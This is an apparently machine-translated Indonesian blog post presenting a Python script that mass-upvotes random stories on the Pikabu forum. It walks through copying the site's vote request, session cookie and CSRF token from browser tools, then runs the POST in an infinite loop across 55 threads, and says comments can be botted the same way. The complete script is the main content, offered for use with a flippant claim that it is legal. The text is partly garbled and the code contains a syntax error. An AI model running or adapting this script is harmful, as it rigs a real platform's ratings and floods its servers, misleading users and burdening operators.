Halo Saya ingin berbicara tentang kerentanan spam di forum Pikabu.
Saya pikir forum ini bukan yang terbaik, jadi saya menguji semuanya.
Apa gunanya
Kerentanan terletak pada peningkatan aktivitas, jumlah peringkat, komentar untuk waktu minimum menggunakan skrip Python.
Tunjukkan padaku!
Operasi skrip dalam waktu 24 jam:

Pikirkan saya mengedit HTML? Dan tidak!
Bagaimana kamu melakukan itu ?!
Sangat mudah!
Pertama, buat file .py:

Selanjutnya, mari kita mengimpor modul yang dengannya kita akan membuat permintaan untuk melakukan tindakan, serta modul untuk multithreading skrip kita:
import requests from threading import Thread
Sekarang mari kita membuat fungsi dengan loop tak terbatas yang mengirimkan permintaan kami:
def spam(): while True: req = requests.post('')
Tapi bagaimana Anda tahu data permintaan?
Buka FireFox, pergi ke Pikabu.
Pilih topik apa saja. Arahkan kursor ke atas panah:

Sekarang tekan kombinasi tombol: cntr + shift + i.
Toolbar pengembang muncul di layar:
Untuk mempertahankan visi pengguna forum yang mahal - saya harus menghapus tema AdBlock (ohm):

Ayo buka tab "jaringan".
Sekarang kami melihat semua permintaan keluar di browser ini.
Klik panah "beri peringkat topik" dan cepat lihat panel permintaan.
Tekan tombol "metode" sampai permintaan pertama adalah permintaan ketik "POST":

Di antara kueri pertama, temukan yang ini:

Klik kanan padanya, dan arahkan di atas tombol Salin, pilih Salin Data POST. Selanjutnya, masukkan data ke dalam kueri dengan cara ini:
req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, )
Tetapi kemudian kita akan mengevaluasi pos yang sama!
Untuk memperbaikinya, tambahkan modul "acak" ke modul yang sudah diimpor menggunakan kode:
import random
Dan tambahkan baris ke loop while:
story = random.randint(1000000, 6865568)
Ayo terus buat permintaan! Inilah yang telah kami lakukan:
import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, )
Tambahkan ke permintaan hal yang paling penting - header. Mari kita kembali ke FireFox, cukup klik kanan pada permintaan, pilih "Copy" tapi kali ini - "Request Headers".
Dengan cara yang sama, melalui tanda titik dua dan tanda kutip, masukkan ke dalam kode:
import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': ' ' })
Di bidang "data Anda", masukkan nilai Anda.
Tampilkan status permintaan:
print(req)
jika "respons <200>" ditampilkan, maka permintaan telah dikirim dan topik sudah dinilai.
Selanjutnya, kami akan membuat skrip sedikit lebih cepat (tepatnya 55 kali).
Buat threading untuk permintaan kami:
for i in range(55): thr = Thread(target = spam) thr.start()
Yah, itu dia! Anda bisa lari.
Dan inilah keseluruhan kodenya:
import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': ' ' }) print(req) for i in range(55): thr = Thread(target = spam) thr.start()
Dengan cara yang sama komentar cheat dilakukan. Saya tidak akan menjelaskannya secara detail, cukup layangkan kodenya:
Yah, itu saja. Anda dapat menyerbu posting dan komentar.
Semoga beruntung
Love Habr.
Tindakan di atas sepenuhnya legal, jangan melanggar lebih dari satu pasal KUHP Federasi Rusia pada 10/02/2019.